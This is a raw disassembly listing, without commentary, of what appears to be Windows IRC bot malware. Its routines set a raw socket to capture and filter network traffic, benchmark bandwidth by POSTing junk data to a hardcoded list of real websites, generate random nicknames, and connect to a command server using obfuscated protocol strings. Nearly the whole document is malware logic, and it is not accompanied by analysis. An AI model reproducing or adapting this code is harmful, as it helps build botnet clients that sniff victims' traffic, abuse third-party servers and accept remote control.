		pop	ecx
		push	ebx
		call	dword_437174	; ExitThread


loc_425BBF:				; CODE XREF: sub_425AE4+C2j
		push	ebx
		lea	eax, [ebp+var_28]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		push	98000001h
		push	edi
		mov	[ebp+var_14], esi
		call	dword_456EC0	; WSAIoctl
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_425BF8
		push	edi
		call	dword_456FF0	; closesocket
		push	[ebp+var_78]
		call	sub_423623
		pop	ecx
		push	ebx
		call	dword_437174	; ExitThread


loc_425BF8:				; CODE XREF: sub_425AE4+FBj
		mov	ecx, [ebp+arg_0]
		call	sub_41DB58
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		call	dword_4370B4	; lstrcpyA
		mov	ecx, [ebp+arg_0]
		call	sub_41DB60
		test	al, al
		jz	loc_425DFF
		mov	esi, offset aS_5 ; "%s"


loc_425C20:				; CODE XREF: sub_425AE4+315j
		mov	edi, 200h
		lea	eax, [ebp+var_3FC]
		push	edi
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_3FC]
		push	ebx
		push	edi
		push	eax
		push	[ebp+var_C]
		call	dword_456F58	; recv
		cmp	[ebp+var_3F3], 6
		jnz	loc_425DEF
		push	[ebp+var_3E8]
		call	dword_456E30	; ntohs
		push	[ebp+var_3E8+2]
		movzx	edi, ax
		call	dword_456E30	; ntohs
		push	[ebp+var_3F0]
		movzx	eax, ax
		mov	[ebp+var_4], eax
		call	sub_425777
		add	esp, 4
		push	dword ptr [eax]
		call	dword_456FDC	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_17C]
		push	esi
		push	eax
		call	sub_429B03
		push	[ebp+var_3EC]
		call	sub_425777
		add	esp, 10h
		push	dword ptr [eax]
		call	dword_456FDC	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1FC]
		push	esi
		push	eax
		call	sub_429B03
		lea	eax, [ebp+var_3D4]
		mov	[ebp+var_8], ebx
		push	eax
		call	sub_4293A0
		add	esp, 10h
		test	eax, eax
		jbe	short loc_425D03


loc_425CD4:				; CODE XREF: sub_425AE4+21Dj
		mov	eax, [ebp+var_8]
		lea	eax, [ebp+eax+var_3D4]
		cmp	byte ptr [eax],	0Dh
		jnz	short loc_425CE6
		mov	byte ptr [eax],	20h


loc_425CE6:				; CODE XREF: sub_425AE4+1FDj
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_425CEE
		mov	byte ptr [eax],	20h


loc_425CEE:				; CODE XREF: sub_425AE4+205j
		inc	[ebp+var_8]
		lea	eax, [ebp+var_3D4]
		push	eax
		call	sub_4293A0
		cmp	[ebp+var_8], eax
		pop	ecx
		jb	short loc_425CD4


loc_425D03:				; CODE XREF: sub_425AE4+1EEj
		lea	eax, [ebp+var_3D4]
		push	eax
		call	sub_425786
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_3D4]
		push	eax
		jz	short loc_425D37
		push	[ebp+var_4]
		lea	eax, [ebp+var_1FC]
		push	eax
		lea	eax, [ebp+var_17C]
		push	edi
		push	eax
		push	offset unk_4507C0
		jmp	loc_425DDD
; ---------------------------------------------------------------------------


loc_425D37:				; CODE XREF: sub_425AE4+235j
		call	sub_425892
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_3D4]
		push	eax
		jz	short loc_425D61
		push	[ebp+var_4]
		lea	eax, [ebp+var_1FC]
		push	eax
		lea	eax, [ebp+var_17C]
		push	edi
		push	eax
		push	offset unk_45079C
		jmp	short loc_425DDD
; ---------------------------------------------------------------------------


loc_425D61:				; CODE XREF: sub_425AE4+262j
		call	sub_42599E
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_3D4]
		push	eax
		jz	short loc_425D8B
		push	[ebp+var_4]
		lea	eax, [ebp+var_1FC]
		push	eax
		lea	eax, [ebp+var_17C]
		push	edi
		push	eax
		push	offset unk_450778
		jmp	short loc_425DDD
; ---------------------------------------------------------------------------


loc_425D8B:				; CODE XREF: sub_425AE4+28Cj
		call	sub_425A16
		test	eax, eax
		pop	ecx
		lea	eax, [ebp+var_3D4]
		push	eax
		jz	short loc_425DB5
		push	[ebp+var_4]
		lea	eax, [ebp+var_1FC]
		push	eax
		lea	eax, [ebp+var_17C]
		push	edi
		push	eax
		push	offset unk_450754
		jmp	short loc_425DDD
; ---------------------------------------------------------------------------


loc_425DB5:				; CODE XREF: sub_425AE4+2B6j
		call	sub_425A6C
		test	eax, eax
		pop	ecx
		jz	short loc_425DEF
		lea	eax, [ebp+var_3D4]
		push	eax
		lea	eax, [ebp+var_1FC]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_17C]
		push	edi
		push	eax
		push	offset dword_450730


loc_425DDD:				; CODE XREF: sub_425AE4+24Ej
					; sub_425AE4+27Bj ...
		lea	eax, [ebp+var_F8]
		push	eax
		push	[ebp+arg_0]
		call	sub_41CE4A
		add	esp, 20h


loc_425DEF:				; CODE XREF: sub_425AE4+16Bj
					; sub_425AE4+2D9j
		mov	ecx, [ebp+arg_0]
		call	sub_41DB60
		test	al, al
		jnz	loc_425C20


loc_425DFF:				; CODE XREF: sub_425AE4+131j
		push	[ebp+var_C]
		call	dword_456FF0	; closesocket
		push	[ebp+var_78]
		call	sub_423623
		pop	ecx
		push	ebx
		call	dword_437174	; ExitThread
sub_425AE4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E18	proc near		; CODE XREF: sub_425FFA+168p
					; sub_425FFA+182p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_4293A0
		cmp	eax, 9Fh
		pop	ecx
		ja	loc_425FF6
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_429760
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_41E3EC
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_24], eax
		jz	loc_425FF6
		push	50h
		call	dword_456F38	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_456FD0	; socket
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_425FF6
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_456EBC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_425FF6
		push	32003h
		call	sub_4297B8
		mov	ebx, dword_437188
		mov	edi, eax
		pop	ecx
		mov	[ebp+var_10], edi
		call	ebx ; dword_437188
		push	eax
		call	sub_429B8F
		call	sub_429B9C
		cdq
		mov	ecx, 0FFh
		mov	[esp+38h+var_38], 32001h
		idiv	ecx
		push	0
		push	edi
		movsx	esi, dl
		call	sub_429760
		push	32000h
		push	esi
		push	edi
		call	sub_429760
		push	edi
		call	sub_4293A0
		push	323EAh
		mov	[ebp+var_8], eax
		call	sub_4297B8
		push	[ebp+var_8]
		mov	esi, eax
		push	[ebp+arg_0]
		push	offset aPostHttp1_1Hos ; "POST / HTTP/1.1\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_429B03
		add	esp, 30h
		push	edi
		mov	edi, dword_437090
		push	esi
		call	edi ; dword_437090
		push	offset asc_4476D0 ; "\r\n"
		push	esi
		call	edi ; dword_437090
		push	esi
		call	sub_4293A0
		mov	edi, eax
		pop	ecx
		mov	[ebp+var_8], edi
		call	ebx ; dword_437188
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	edi, edi
		mov	[ebp+arg_0], eax
		jbe	short loc_425F74
		mov	[ebp+var_C], edi
		mov	edi, 400h
		jmp	short loc_425F44
; ---------------------------------------------------------------------------


loc_425F41:				; CODE XREF: sub_425E18+15Aj
		mov	eax, [ebp+arg_0]


loc_425F44:				; CODE XREF: sub_425E18+127j
		mov	ecx, [ebp+var_8]
		push	0
		sub	ecx, eax
		add	eax, esi
		cmp	ecx, edi
		jnb	short loc_425F56
		push	[ebp+var_C]
		jmp	short loc_425F57
; ---------------------------------------------------------------------------


loc_425F56:				; CODE XREF: sub_425E18+137j
		push	edi


loc_425F57:				; CODE XREF: sub_425E18+13Cj
		push	eax
		push	[ebp+var_4]
		call	dword_456F8C	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_425FDD
		add	[ebp+arg_0], edi
		sub	[ebp+var_C], edi
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jb	short loc_425F41


loc_425F74:				; CODE XREF: sub_425E18+11Dj
		call	ebx ; dword_437188
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_437354
		fst	[ebp+arg_0]
		fcomp	flt_437350
		fnstsw	ax
		test	ah, 44h
		jp	short loc_425F9E
		fld1
		fstp	[ebp+arg_0]


loc_425F9E:				; CODE XREF: sub_425E18+17Fj
		push	[ebp+var_4]
		call	dword_456FF0	; closesocket
		push	[ebp+var_10]
		call	sub_4298F2
		push	esi
		call	sub_4298F2
		mov	eax, [ebp+var_8]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_43734C
		fmul	flt_437348
		call	sub_42A9E0


loc_425FD8:				; CODE XREF: sub_425E18+1E0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425FDD:				; CODE XREF: sub_425E18+14Cj
		push	[ebp+var_4]
		call	dword_456FF0	; closesocket
		push	[ebp+var_10]
		call	sub_4298F2
		push	esi
		call	sub_4298F2
		pop	ecx
		pop	ecx


loc_425FF6:				; CODE XREF: sub_425E18+17j
					; sub_425E18+41j ...
		xor	eax, eax
		jmp	short loc_425FD8
sub_425E18	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425FFA	proc near		; DATA XREF: sub_40A9FE+166Co

var_134		= dword	ptr -134h
var_130		= byte ptr -130h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	26h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		mov	dword ptr [eax+94h], 1
		mov	eax, [ebp+var_134]
		mov	[ebp+arg_0], eax
		mov	[ebp+var_4], 3
		mov	[ebp+var_9C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_98], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_94], offset aWww_news_nl ; "www.news.nl"
		mov	[ebp+var_90], offset aWww_volkskrant ; "www.volkskrant.nl"
		mov	[ebp+var_8C], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_88], offset aWww_univAngers ; "www.univ-angers.fr"
		mov	[ebp+var_84], offset aWww_uniTuebing ; "www.uni-tuebingen.de"
		mov	[ebp+var_80], offset aWww_rollingsto ; "www.rollingstone.de"
		mov	[ebp+var_7C], offset aWww_rtv_de ; "www.rtv.de"
		mov	[ebp+var_78], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_74], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_70], offset aWww_hon_ch ; "www.hon.ch"
		mov	[ebp+var_6C], offset aWww_epfl_ch ; "www.epfl.ch"
		mov	[ebp+var_68], offset aWww_supergames ; "www.supergames.cz"
		mov	[ebp+var_64], offset aWww_nintendoEu ; "www.nintendo-europe.com"
		mov	[ebp+var_60], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_5C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_58], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_54], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_50], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_4C], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_48], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_44], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_40], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_3C], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_38], offset aWww_apple_com ; "www.apple.com"
		mov	[ebp+var_34], offset aWww_nintendo_c ; "www.nintendo.com"
		mov	[ebp+var_30], offset aGamearena_com_ ; "gamearena.com.au"
		mov	[ebp+var_2C], offset aWww_conexim_co ; "www.conexim.com.au"
		mov	[ebp+var_28], offset aUnimelb_edu_au ; "unimelb.edu.au"
		mov	[ebp+var_24], offset aWww_umin_ac_jp ; "www.umin.ac.jp"
		mov	[ebp+var_20], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_1C], offset aWww_nthu_edu_t ; "www.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_nintendo_0 ; "www.nintendo.co.jp"
		mov	[ebp+var_14], offset aWww_seikoWatch ; "www.seiko-watch.co.jp"
		mov	[ebp+var_10], offset aWww_bandai_co_ ; "www.bandai.co.jp"
		mov	[ebp+var_C], offset aWww_pku_edu_cn ; "www.pku.edu.cn"
		mov	[ebp+var_8], offset aWww_kaist_ac_k ; "www.kaist.ac.kr"
		call	sub_429B9C
		push	0Fh
		xor	edx, edx
		pop	ecx
		div	ecx
		push	[ebp+edx*4+var_9C]
		call	sub_425E18
		mov	esi, eax
		call	sub_429B9C
		push	0Fh
		xor	edx, edx
		pop	ecx
		div	ecx
		push	[ebp+edx*4+var_9C]
		call	sub_425E18
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_426196
		test	eax, eax
		jz	short loc_426192
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_426198
; ---------------------------------------------------------------------------


loc_426192:				; CODE XREF: sub_425FFA+18Fj
		mov	ebx, esi
		jmp	short loc_426198
; ---------------------------------------------------------------------------


loc_426196:				; CODE XREF: sub_425FFA+18Bj
		mov	ebx, eax


loc_426198:				; CODE XREF: sub_425FFA+196j
					; sub_425FFA+19Aj
		call	sub_429B9C
		push	0Ch
		xor	edx, edx
		pop	ecx
		div	ecx
		push	[ebp+edx*4+var_60]
		call	sub_425E18
		mov	edi, eax
		call	sub_429B9C
		push	0Ch
		xor	edx, edx
		pop	ecx
		div	ecx
		push	[ebp+edx*4+var_60]
		call	sub_425E18
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4261D9
		test	eax, eax
		jz	short loc_4261D5
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_4261DB
; ---------------------------------------------------------------------------


loc_4261D5:				; CODE XREF: sub_425FFA+1D2j
		mov	esi, edi
		jmp	short loc_4261DB
; ---------------------------------------------------------------------------


loc_4261D9:				; CODE XREF: sub_425FFA+1CEj
		mov	esi, eax


loc_4261DB:				; CODE XREF: sub_425FFA+1D9j
					; sub_425FFA+1DDj
		call	sub_429B9C
		push	0Bh
		xor	edx, edx
		pop	ecx
		div	ecx
		push	[ebp+edx*4+var_30]
		call	sub_425E18
		mov	edi, eax
		call	sub_429B9C
		push	0Bh
		xor	edx, edx
		pop	ecx
		div	ecx
		push	[ebp+edx*4+var_30]
		call	sub_425E18
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_42621C
		test	eax, eax
		jz	short loc_426218
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_42621E
; ---------------------------------------------------------------------------


loc_426218:				; CODE XREF: sub_425FFA+215j
		mov	ecx, edi
		jmp	short loc_42621E
; ---------------------------------------------------------------------------


loc_42621C:				; CODE XREF: sub_425FFA+211j
		mov	ecx, eax


loc_42621E:				; CODE XREF: sub_425FFA+21Cj
					; sub_425FFA+220j
		test	ebx, ebx
		jnz	short loc_426233
		test	esi, esi
		jnz	short loc_426233
		test	ecx, ecx
		jnz	short loc_426233
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_426233:				; CODE XREF: sub_425FFA+226j
					; sub_425FFA+22Aj ...
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_426240
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_426243
; ---------------------------------------------------------------------------


loc_426240:				; CODE XREF: sub_425FFA+23Dj
		push	2
		pop	edi


loc_426243:				; CODE XREF: sub_425FFA+244j
		test	esi, esi
		jz	short loc_42624B
		add	eax, esi
		jmp	short loc_42624C
; ---------------------------------------------------------------------------


loc_42624B:				; CODE XREF: sub_425FFA+24Bj
		dec	edi


loc_42624C:				; CODE XREF: sub_425FFA+24Fj
		test	ecx, ecx
		jz	short loc_426254
		add	eax, ecx
		jmp	short loc_426255
; ---------------------------------------------------------------------------


loc_426254:				; CODE XREF: sub_425FFA+254j
		dec	edi


loc_426255:				; CODE XREF: sub_425FFA+258j
		xor	edx, edx
		div	edi
		cmp	[ebp+var_AC], 0
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_130]
		push	offset a7_pak0onymn7ra ; "7.PaK0OnymN/7Razv/1FefF."
		push	offset aSEuropeDKbitSU ; "%s ~ Europe[%d kbit/s] ~ USA[%d kbit/s]"...
		push	eax
		push	[ebp+arg_0]
		jnz	short loc_426281
		call	sub_41CE4A
		jmp	short loc_426286
; ---------------------------------------------------------------------------


loc_426281:				; CODE XREF: sub_425FFA+27Ej
		call	sub_41CDD4


loc_426286:				; CODE XREF: sub_425FFA+285j
		add	esp, 20h
		push	[ebp+var_B0]
		call	sub_423623
		pop	ecx
		push	0
		call	dword_437174	; ExitThread
sub_425FFA	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42629D	proc near		; CODE XREF: sub_42045F+46Cp
					; sub_4264CB+2Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_456FD0	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_426319
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_429760
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_456F38	; ntohs
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_456F7C	; inet_addr
		cmp	eax, esi
		jnz	short loc_4262FE
		push	[ebp+arg_0]
		call	dword_456FD4	; gethostbyname
		test	eax, eax
		jz	short loc_426319
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_4262FE:				; CODE XREF: sub_42629D+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_456EBC	; connect
		cmp	eax, esi
		jnz	short loc_42631D
		push	edi
		call	dword_456FF0	; closesocket


loc_426319:				; CODE XREF: sub_42629D+1Bj
					; sub_42629D+58j
		mov	eax, esi
		jmp	short loc_42631F
; ---------------------------------------------------------------------------


loc_42631D:				; CODE XREF: sub_42629D+73j
		mov	eax, edi


loc_42631F:				; CODE XREF: sub_42629D+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_42629D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426323	proc near		; CODE XREF: sub_40A9FE+3C9Ap
					; sub_40A9FE+3CA7p

var_40		= byte ptr -40h
var_36		= byte ptr -36h

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		push	0C8h
		mov	ebx, offset byte_660800
		push	0
		push	ebx
		call	sub_429760
		push	10h
		mov	esi, offset a0123456789abcd ; "0123456789ABCDEFGHIJKLMNOPQRSTUVWXWYZab"...
		pop	ecx
		lea	edi, [ebp+var_40]
		lea	eax, [ebp+var_40]
		rep movsd
		push	eax
		call	sub_4293A0
		add	esp, 10h
		mov	edi, eax
		xor	esi, esi


loc_42635B:				; CODE XREF: sub_426323+62j
		call	sub_429B9C
		test	esi, esi
		cdq
		jz	short loc_426373
		idiv	edi
		mov	al, [ebp+edx+var_40]
		mov	byte_660800[esi], al
		jmp	short loc_426381
; ---------------------------------------------------------------------------


loc_426373:				; CODE XREF: sub_426323+40j
		lea	ecx, [edi-0Ah]
		idiv	ecx
		mov	al, [ebp+edx+var_36]
		mov	byte_660800, al


loc_426381:				; CODE XREF: sub_426323+4Ej
		inc	esi
		cmp	esi, 67h
		jl	short loc_42635B
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		leave
		retn
sub_426323	endp


; =============== S U B	R O U T	I N E =======================================



sub_42638E	proc near		; CODE XREF: sub_40A9FE+2BE2p
					; sub_40A9FE+2C90p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset asc_440D90 ; "\n"
		push	edi
		call	sub_42A5E0
		pop	ecx
		mov	esi, offset dword_6608CC
		pop	ecx


loc_4263A6:				; CODE XREF: sub_42638E+42j
		cmp	dword ptr [esi-4], 1
		jnz	short loc_4263C4
		cmp	dword ptr [esi], 0
		jbe	short loc_4263C4
		push	0
		push	edi
		call	sub_4293A0
		pop	ecx
		push	eax
		push	edi
		push	dword ptr [esi]
		call	dword_456F8C	; send


loc_4263C4:				; CODE XREF: sub_42638E+1Cj
					; sub_42638E+21j
		add	esi, 410h
		cmp	esi, offset dword_66D3EC
		jl	short loc_4263A6
		pop	edi
		pop	esi
		retn
sub_42638E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4263D5	proc near		; CODE XREF: sub_4264CB+1B8p

var_420		= byte ptr -420h
var_220		= byte ptr -220h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		mov	esi, offset asc_43D938 ; " "
		push	edi
		push	esi
		push	[ebp+arg_0]
		call	sub_429C5E
		xor	edi, edi
		pop	ecx
		inc	edi
		pop	ecx
		mov	[ebp+var_20], eax
		xor	ebx, ebx


loc_4263F9:				; CODE XREF: sub_4263D5+35j
		push	esi
		push	ebx
		call	sub_429C5E
		mov	[ebp+edi*4+var_20], eax
		inc	edi
		pop	ecx
		cmp	edi, 8
		pop	ecx
		jl	short loc_4263F9
		cmp	[ebp+var_20], ebx
		mov	edi, [ebp+var_1C]
		jnz	short loc_426420
		cmp	edi, ebx
		jnz	short loc_426420
		xor	eax, eax
		inc	eax
		jmp	loc_4264C6
; ---------------------------------------------------------------------------


loc_426420:				; CODE XREF: sub_4263D5+3Dj
					; sub_4263D5+41j
		push	[ebp+var_20]
		mov	esi, dword_437178
		push	offset aSpxmrGVbi0 ; "spxMr/G/vBI0"
		call	esi ; dword_437178
		test	eax, eax
		push	edi
		jnz	short loc_426450
		push	offset a2nru_kpknx ; "/2nRu.KpKNx/"
		lea	eax, [ebp+var_220]
		push	offset aSS_0	; "%s %s\n"
		push	eax
		call	sub_429B03
		add	esp, 10h
		jmp	short loc_4264A5
; ---------------------------------------------------------------------------


loc_426450:				; CODE XREF: sub_4263D5+5Ej
		push	offset a433	; "433"
		call	esi ; dword_437178
		test	eax, eax
		jz	short loc_426467
		push	edi
		push	offset a432	; "432"
		call	esi ; dword_437178
		test	eax, eax
		jnz	short loc_4264C4


loc_426467:				; CODE XREF: sub_4263D5+84j
		push	200h
		lea	eax, [ebp+var_420]
		push	ebx
		push	eax
		call	sub_429760
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_426761
		lea	eax, [ebp+var_420]
		push	eax
		push	offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0"
		lea	eax, [ebp+var_220]
		push	offset aSS_0	; "%s %s\n"
		push	eax
		call	sub_429B03
		add	esp, 20h


loc_4264A5:				; CODE XREF: sub_4263D5+79j
		lea	eax, [ebp+var_220]
		push	ebx
		push	eax
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_456F8C	; send


loc_4264C4:				; CODE XREF: sub_4263D5+90j
		xor	eax, eax


loc_4264C6:				; CODE XREF: sub_4263D5+46j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4263D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4264CB	proc near		; DATA XREF: sub_4266D3+71o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_429B60
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 410h
		xor	edi, edi
		push	dword_660AD4[esi]
		lea	eax, dword_6608D4[esi]
		inc	edi
		push	eax
		mov	dword_6608C8[esi], edi
		call	sub_42629D
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_6608CC[esi], eax
		jb	loc_4266B3
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		call	dword_437188	; GetTickCount
		push	eax
		call	sub_429B8F
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_426761
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_426761
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_426761
		lea	eax, dword_660AD8[esi]
		push	eax
		push	offset a7lybp1gunfm0_0 ; "7LybP1GuNfm0"
		lea	eax, [ebp+var_1008]
		push	offset aSS_0	; "%s %s\n"
		push	eax
		call	sub_429B03
		add	esp, 20h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_6608CC[esi]
		call	dword_456F8C	; send
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_429760
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	offset a391myLxl28__0 ;	"391mY/LxL28."
		push	eax
		push	offset aTugnf_mqsdr0 ; "TuGNF.mQSDR0"
		lea	eax, [ebp+var_1008]
		push	offset aSSSSMail_gmail ; "%s %s\n%s %s \"mail.gmail.com\" \"127.0.0.1"...
		push	eax
		call	sub_429B03
		add	esp, 28h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_4293A0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_6608CC[esi]
		call	dword_456F8C	; send
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch


loc_42660D:				; CODE XREF: sub_4264CB+1E3j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_429760
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_6608CC[esi]
		call	dword_456F58	; recv
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_4266B3
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		jmp	short loc_4266A9
; ---------------------------------------------------------------------------


loc_426641:				; CODE XREF: sub_4264CB+1E1j
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_426668
		cmp	al, 0Ah
		jz	short loc_426668
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_426668
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_4266A2
; ---------------------------------------------------------------------------


loc_426668:				; CODE XREF: sub_4264CB+17Fj
